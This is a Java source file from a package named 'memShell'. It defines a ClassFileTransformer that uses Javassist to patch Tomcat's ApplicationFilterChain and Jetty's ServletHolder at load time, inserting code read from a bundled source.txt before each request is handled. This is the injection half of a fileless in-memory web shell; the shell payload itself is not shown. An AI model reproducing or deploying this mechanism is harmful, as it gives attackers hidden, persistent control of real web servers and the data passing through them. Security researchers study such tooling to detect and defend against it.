package org.memShell;

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.lang.instrument.ClassFileTransformer;

import java.lang.instrument.IllegalClassFormatException;

import java.security.ProtectionDomain;

import javassist.ClassClassPath;

import javassist.ClassPool;

import javassist.CtClass;

import javassist.CtMethod;

public class Transformer implements ClassFileTransformer {

@Override

public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass,

ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {

if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {

try {

ClassPool cp = ClassPool.getDefault();

if (aClass != null) {

ClassClassPath classPath = new ClassClassPath(aClass);

cp.insertClassPath(classPath);

}

CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");

CtMethod m = cc.getDeclaredMethod("internalDoFilter");

m.addLocalVariable("elapsedTime", CtClass.longType);

m.insertBefore(readSource());

byte[] byteCode = cc.toBytecode();

cc.detach();

return byteCode;

} catch (Exception ex) {

ex.printStackTrace();

System.out.println("error:::::" + ex.getMessage());

}

} else if ("org/eclipse/jetty/servlet/ServletHolder".equals(s)) {

try {

ClassPool cp = ClassPool.getDefault();

if (aClass != null) {

ClassClassPath classPath = new ClassClassPath(aClass);

cp.insertClassPath(classPath);

}

CtClass cc = cp.get("org.eclipse.jetty.servlet.ServletHolder");

CtMethod m = cc.getDeclaredMethod("handle");

m.addLocalVariable("elapsedTime", CtClass.longType);

m.insertBefore(readSource());

byte[] byteCode = cc.toBytecode();

cc.detach();

return byteCode;

} catch (Exception e) {

e.printStackTrace();

System.out.println("error:::::" + e.getMessage());

}

}

return null;

}

public String readSource() {

StringBuilder source = new StringBuilder();

InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");

InputStreamReader isr = new InputStreamReader(is);

String line = null;

try {

BufferedReader br = new BufferedReader(isr);

while ((line = br.readLine()) != null) {

source.append(line);

}

} catch (Exception e) {

e.printStackTrace();

}

return source.toString();

}

}